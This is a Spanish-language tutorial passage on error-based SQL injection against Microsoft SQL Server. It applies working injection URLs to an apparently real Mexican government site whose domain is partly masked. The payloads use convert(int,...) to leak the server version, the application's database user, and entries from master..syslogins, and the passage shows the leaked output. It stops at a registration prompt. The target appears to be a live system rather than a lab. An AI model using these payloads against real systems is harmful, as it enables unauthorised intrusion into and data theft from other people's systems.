Sql injection
No veremos BLIND SQLI yaque nos basaremos en los errores devueltos por el servidor, para generar estos errores inyectaremos la función convert() que sirve para hacer conversiones entre tipos de datos, por tanto pediremosque convierta un tipo de dato totalmente incompatible. La primera prueba que nos servirá como testeo es pedir la versión de SQL con ayuda de @@version que además será útil para saber la sintaxis quedebemos usar. http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,@@version) -- h
Versión: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Al final incluimos el carácter comentario “--” para que omita el resto de la consulta.Sacamos el usuario con el que la aplicación esta corriendo SQL Server http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,system_user) -- h
Usuario: portalconsultasSacamos los permisos del usuario con el que esta corriendo SQL Server. http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top 1 name FROM master..syslogins )) -- h...
Regístrate para leer el documento completo.